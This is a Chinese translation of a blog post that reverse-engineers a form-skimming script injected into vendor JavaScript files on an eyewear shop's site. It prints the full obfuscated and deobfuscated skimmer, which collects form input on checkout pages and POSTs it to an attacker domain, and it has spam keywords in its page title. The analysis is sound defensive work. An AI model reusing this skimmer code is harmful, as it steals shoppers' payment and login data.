亚洲日本免费-啊轻点灬太粗太长了三男一女-麻豆av电影在线观看-日韩一级片毛片|www.grbbt.com

逆marveloptics.com上的JS惡意軟件

前言

一些注入腳本經(jīng)常用來竊取你的數(shù)據(jù),并將其發(fā)送給攻擊者。但是不得不說,其中一些攻擊者的編程技術(shù)真的很拙劣。

近日,我媽媽正在瀏覽網(wǎng)站想購買一副新眼鏡,在訪問marveloptics.com時(shí),她的防病毒軟件開始預(yù)警某些惡意JavaScript腳本。而我總是很好奇病毒是如何工作,實(shí)現(xiàn)攻擊的,所以我對其進(jìn)行了逆向分析。

該惡意文件可下載于

https://github.com/veggiedefender/marveloptics_malware

定位

攻擊者將他們的惡意代碼注入了像modernizr和openid這樣的文件中,這將為他們提供一些好處:

1.因?yàn)閹斓脑颍@使得發(fā)現(xiàn)混淆后的惡意代碼變得更難。

2.因?yàn)殚_發(fā)人員不經(jīng)常更新其依賴關(guān)系,注入的惡意軟件可以在應(yīng)用程序代碼更新后繼續(xù)存在。

https://www.marveloptics.com/templates/moptics/js/vendor/modernizr.js

https://www.marveloptics.com/libraries/openid/openid.js

Deobfuscating.js

帶有惡意代碼的文件:modernizr.js和openid.js

它們包含完全相同的惡意代碼,并且顯然使用javascriptobfuscator.com的模糊處理。

幸運(yùn)的是,js-beautify可以專門對這些腳本進(jìn)行反混淆處理。
$ js-beautify -x -s 2 original/openid.js >
deobfuscated.js
var i3692386a609ff6fd204a1418521ec651 = {
snd: null,
o7d6e88f271f3ac078a708f7123e10e14: “https://webfotce.me/js/form.js”,
myid: (function(_0x79e5x2) {
var _0x79e5x3 = document[“cookie”][“match”](new RegExp(“(?:^|; )” + _0x79e5x2[“replace”](/([.$?*|{}()[]\/+^])/g, “\$1″) + “=([^;]*)”));
return _0x79e5x3 ? decodeURIComponent(_0x79e5x3[1]) : undefined
})(“setidd”) || (function() {
var _0x79e5x4 = new Date();
var _0x79e5x5 = _0x79e5x4[“getTime”]() + “-” + Math[“floor”](Math[“random”]() * (999999999 – 11111111 + 1) + 11111111);
var _0x79e5x6 = new Date(new Date()[“getTime”]() + 60 * 60 * 24 * 1000);
document[“cookie”] = “setidd=” + _0x79e5x5 + “; path=/; expires=” + _0x79e5x6[“toUTCString”]();
return _0x79e5x5
})(),
clk: function() {
i3692386a609ff6fd204a1418521ec651[“snd”] = null;
var _0x79e5x7 = document[“querySelectorAll”](“input, select, textarea, checkbox, button”);
for (var _0x79e5x8 = 0; _0x79e5x8 < _0x79e5x7[“length”]; _0x79e5x8++) { if (_0x79e5x7[_0x79e5x8][“value”][“length”] > 0) {
var _0x79e5x9 = _0x79e5x7[_0x79e5x8][“name”];
if (_0x79e5x9 == “”) {
_0x79e5x9 = _0x79e5x8
};
i3692386a609ff6fd204a1418521ec651[“snd”] += _0x79e5x7[_0x79e5x8][“name”] + “=” + _0x79e5x7[_0x79e5x8][“value”] + “&”
}
}
},
send: function() {
try {
var _0x79e5xa = document[“querySelectorAll”](“a[href*=’javascript:void(0)’],button, input, submit, .btn, .button”);
for (var _0x79e5x8 = 0; _0x79e5x8 < _0x79e5xa[“length”]; _0x79e5x8++) {
var _0x79e5xb = _0x79e5xa[_0x79e5x8];
if (_0x79e5xb[“type”] != “text” && _0x79e5xb[“type”] != “select” && _0x79e5xb[“type”] != “checkbox” && _0x79e5xb[“type”] != “password” && _0x79e5xb[“type”] != “radio”) {
if (_0x79e5xb[“addEventListener”]) {
_0x79e5xb[“addEventListener”](“click”, i3692386a609ff6fd204a1418521ec651[“clk”], false)
} else {
_0x79e5xb[“attachEvent”](“onclick”, i3692386a609ff6fd204a1418521ec651[“clk”])
}
}
};
var _0x79e5xc = document[“querySelectorAll”](“form”);
for (vari = 0; _0x79e5x8 < _0x79e5xc[“length”]; _0x79e5x8++) {
if (_0x79e5xc[_0x79e5x8][“addEventListener”]) {
_0x79e5xc[_0x79e5x8][“addEventListener”](“submit”, i3692386a609ff6fd204a1418521ec651[“clk”], false)
} else {
_0x79e5xc[_0x79e5x8][“attachEvent”](“onsubmit”, i3692386a609ff6fd204a1418521ec651[“clk”])
}
};
if (i3692386a609ff6fd204a1418521ec651[“snd”] != null) {
var _0x79e5xd = location[“hostname”][“split”](“.”)[“slice”](0)[“join”](“_”) || “nodomain”;
var _0x79e5xe = btoa(i3692386a609ff6fd204a1418521ec651[“snd”]);
var _0x79e5xf = new XMLHttpRequest();
_0x79e5xf[“open”](“POST”, i3692386a609ff6fd204a1418521ec651[“o7d6e88f271f3ac078a708f7123e10e14″], true);
_0x79e5xf[“setRequestHeader”](“Content-type”, “application/x-www-form-urlencoded”);
_0x79e5xf[“send”](“info=” + _0x79e5xe + “&hostname=” + _0x79e5xd + “&key=” + i3692386a609ff6fd204a1418521ec651[“myid”])
};
i3692386a609ff6fd204a1418521ec651[“snd”] = null;
_0x79e5xe = null;
setTimeout(function() {
i3692386a609ff6fd204a1418521ec651[“send”]()
}, 30)
} catch (e) {}
}
};
if ((new RegExp(“onepage|checkout|onestep”, “gi”))[“test”](window[“location”])) {
i3692386a609ff6fd204a1418521ec651[“send”]()
}

wow,這變得好一些了,但是接下來是查找和替換混淆后的變量名以及添加注釋依舊是個(gè)繁瑣工作:
var Malware = {
data: null,
url: “https://webfotce.me/js/form.js”,
myid: (function(cookieName) {
// Check setidd cookie for id
var id = document.cookie.match(new RegExp(“(?:^|; )” + cookieName.replace(/([.$?*|{}()[]\/+^])/g, “\$1″) + “=([^;]*)”));
return id ? decodeURIComponent(id[1]) : undefined;
})(“setidd”) || (function() {
// If the setidd cookie doesn’t exist, then generate a new id and save it in the setidd cookie
// IDs look like 1529853014535-289383517
// Unix timestamp (ms), a dash, and a long random number
var timestamp = new Date();
var id = timestamp.getTime() + “-” + Math.floor(Math.random() * (999999999 – 11111111 + 1) + 11111111);
var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000); // Cookie expires in 24 hours
document.cookie = “setidd=” + id + “; path=/; expires=” + expiration.toUTCString();
return id;
})(),
stealData: function() {
// Serializes the values of inputs, dropdowns, textareas, checkboxes, and buttons (?)
// Saves them in Malware.data
Malware.data = null;
var elements = document.querySelectorAll(“input, select, textarea, checkbox, button”);
for (var i = 0; i < elements.length; i++) { if (elements[i].value.length > 0) {
var name = elements[i].name;
if (name == “”) {
name = i;
};
Malware.data += elements[i].name + “=” + elements[i].value + “&”;
}
}
},
send: function() {
try {
// When the user clicks any buttons or form inputs, run stealData
var elements = document.querySelectorAll(“a[href*=’javascript:void(0)’],button, input, submit, .btn, .button”);
for (var i = 0; i < elements.length; i++) {
var element = elements[i];
if (element.type != “text” && element.type != “select” && element.type != “checkbox” && element.type != “password” && element.type != “radio”) {
if (element.addEventListener) {
element.addEventListener(“click”, Malware.stealData, false);
} else {
element.attachEvent(“onclick”, Malware.stealData);
}
}
};
// When the user submits a form, run stealData
var formElements = document.querySelectorAll(“form”);
for (vari = 0; i < formElements.length; i++) { // Yes, this is their typo!
if (formElements[i].addEventListener) {
formElements[i].addEventListener(“submit”, Malware.stealData, false);
} else {
formElements[i].attachEvent(“onsubmit”, Malware.stealData);
}
};
// If there’s any data to send, then send it to configured url
if (Malware.data != null) {
var hostname = location.hostname.split(“.”).slice(0).join(“_”) || “nodomain”;
var data = btoa(Malware.data); // base64 encoded
var xhr = new XMLHttpRequest();
xhr.open(“POST”, Malware.url, true);
xhr.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
xhr.send(“info=” + data + “&hostname=” + hostname + “&key=” + Malware.myid);
};
Malware.data = null;
data = null;
setTimeout(function() {
Malware.send();
}, 30); // This whole function runs every 30 milliseconds!
} catch (e) {}
}
};
// Only run on pages with worthwhile info
if ((new RegExp(“onepage|checkout|onestep”, “gi”)).test(window.location)) {
Malware.send();
}

上述代碼分析

讓我們一步一步來揭示上述代碼的作用吧

開始分析
// Only run on pages with worthwhile info
if ((new RegExp(“onepage|checkout|onestep”, “gi”)).test(window.location)) {
Malware.send();
}

這是整個(gè)腳本的入口點(diǎn),如果該頁面是結(jié)賬頁面,那么它將調(diào)用send()函數(shù)
聲明主對象
var Malware = {
data: null,
url: “https://webfotce.me/js/form.js”,

我將對象重命名為Malware,并且大部分代碼都存在于此對象中。

data最終將存儲(chǔ)用戶的被盜數(shù)據(jù),這些數(shù)據(jù)都將被發(fā)送到url。

識別用戶
myid: (function(cookieName) {
// Check setidd cookie for id
var id = document.cookie.match(new RegExp(“(?:^|; )” + cookieName.replace(/([.$?*|{}()[]\/+^])/g, “\$1″) + “=([^;]*)”));
return id ? decodeURIComponent(id[1]) : undefined;
})(“setidd”) || (function() {
// If the setidd cookie doesn’t exist, then generate a new id and save it in the setidd cookie
// IDs look like 1529853014535-289383517
// Unix timestamp (ms), a dash, and a long random number
var timestamp = new Date();
var id = timestamp.getTime() + “-” + Math.floor(Math.random() * (999999999 – 11111111 + 1) + 11111111);
var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000); // Cookie expires in 24 hours
document.cookie = “setidd=” + id + “; path=/; expires=” + expiration.toUTCString();
return id;
})(),

myid存儲(chǔ)用戶的標(biāo)識ID字符串

在第一個(gè)塊中,程序檢查一個(gè)名為setidd的cookie。

如果它存在(受害者是返回用戶),則會(huì)解析cookie的ID,并將其存儲(chǔ)到myid。

但是,如果cookie不存在,那么就會(huì)產(chǎn)生一個(gè)新的ID,并將其保存在myid和名為setidd的cookie中,它的有效期為24小時(shí)。

而ID由當(dāng)前的unix時(shí)間戳,短劃線和長隨機(jī)數(shù)組成,看起來像1529853014535-289383517。

數(shù)據(jù)竊取
stealData: function() {
// Serializes the values of inputs, dropdowns, textareas, checkboxes, and buttons (?)
// Saves them in Malware.data
Malware.data = null;
var elements = document.querySelectorAll(“input, select, textarea, checkbox, button”);
for (var i = 0; i < elements.length; i++) { if (elements[i].value.length > 0) {
var name = elements[i].name;
if (name == “”) {
name = i;
};
Malware.data += elements[i].name + “=” + elements[i].value + “&”;
}
}
},

首先,它通過將其設(shè)置為null清除data。然后,它在頁面上查找所有文本輸入,并以以下格式保存其名稱和值:

username=admin&password=hunter2

但實(shí)際上,因?yàn)閐ata作為null而開始程序,程序串給它拼接新的值后,最終看起來更像是這樣的:

nullusername=admin&password=hunter2

send()函數(shù)
send: function() {
try {
// …
} catch (e) {}
}

這些是專業(yè)開發(fā)人員設(shè)計(jì)的代碼,對于錯(cuò)誤的捕捉做的很好,不用擔(dān)心程序錯(cuò)誤使它們結(jié)果受到影響

添加事件偵聽器
// When the user clicks any buttons or form inputs, run stealData
var elements = document.querySelectorAll(“a[href*=’javascript:void(0)’],button, input, submit, .btn, .button”);
for (var i = 0; i < elements.length; i++) {
var element = elements[i];
if (element.type != “text” && element.type != “select” && element.type != “checkbox” && element.type != “password” && element.type != “radio”) {
if (element.addEventListener) {
element.addEventListener(“click”, Malware.stealData, false);
} else {
element.attachEvent(“onclick”, Malware.stealData);
}
}
};

惡意軟件會(huì)為頁面上的所有按鈕注入一個(gè)事件監(jiān)聽器

因此當(dāng)用戶單擊其中任何一個(gè)按鈕時(shí),它們會(huì)再次運(yùn)行stealData()。

如果不存在,則測試element.addEventListener并且使用element.attachEvent
// When the user submits a form, run stealData
var formElements = document.querySelectorAll(“form”);
for (vari = 0; i < formElements.length; i++) { // Yes, this is their typo!
if (formElements[i].addEventListener) {
formElements[i].addEventListener(“submit”, Malware.stealData, false);
} else {
formElements[i].attachEvent(“onsubmit”, Malware.stealData);
}
};

他們也試圖在表單提交時(shí)做同樣的事情,然而,他們寫錯(cuò)了一個(gè)字:

應(yīng)該寫為var i = 0,而不是vari = 0。

這樣就創(chuàng)建了一個(gè)名為vari的全局變量并將其值設(shè)置為0。

幸運(yùn)的是,i在之前的循環(huán)里已被作用過,所以,i的值肯定是高于0或是formElements.length的,這就意味著循環(huán)體實(shí)際上從未運(yùn)行過

發(fā)送數(shù)據(jù)
// If there’s any data to send, then send it to configured url
if (Malware.data != null) {
var hostname = location.hostname.split(“.”).slice(0).join(“_”) || “nodomain”;
var data = btoa(Malware.data); // base64 encoded
var xhr = new XMLHttpRequest();
xhr.open(“POST”, Malware.url, true);
xhr.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
xhr.send(“info=” + data + “&hostname=” + hostname + “&key=” + Malware.myid);
};

如果對象里面有任何data數(shù)據(jù)(由stealData()函數(shù)賦值),則將其發(fā)送到攻擊者的域名。

所有內(nèi)容data都經(jīng)過base64編碼,因此它不會(huì)與其余的POST請求發(fā)生沖突,其中包括ID和當(dāng)前頁面的主機(jī)名(由于某種原因,點(diǎn)會(huì)轉(zhuǎn)換為下劃線)。

清理并再次運(yùn)行
Malware.data = null;
data = null;
setTimeout(function() {
Malware.send();
}, 30); // This whole function runs every 30 milliseconds!

send每30毫秒遞歸調(diào)用一次,可以說攻擊者真的不關(guān)心程序的性能。

大體時(shí)間

根據(jù)互聯(lián)網(wǎng)檔案快照,marveloptics.com自2017年1月至6月期間已被感染,這意味著他們過去一年的所有客戶都被竊取了信息。

而我今年6月24日通過電子郵件向customerservice@marveloptics.com發(fā)送了詳細(xì)信息,但尚未收到回復(fù)。

原文地址:https://blog.jse.li/posts/marveloptics-malware/

上一篇:“安全+”沙龍 第十期—醫(yī)療行業(yè)信息安全 | 8月10日

下一篇:青島啤酒節(jié)萬人Wi-Fi嗨翻盛夏 銳捷“無線好體驗(yàn)”邀您舉杯暢飲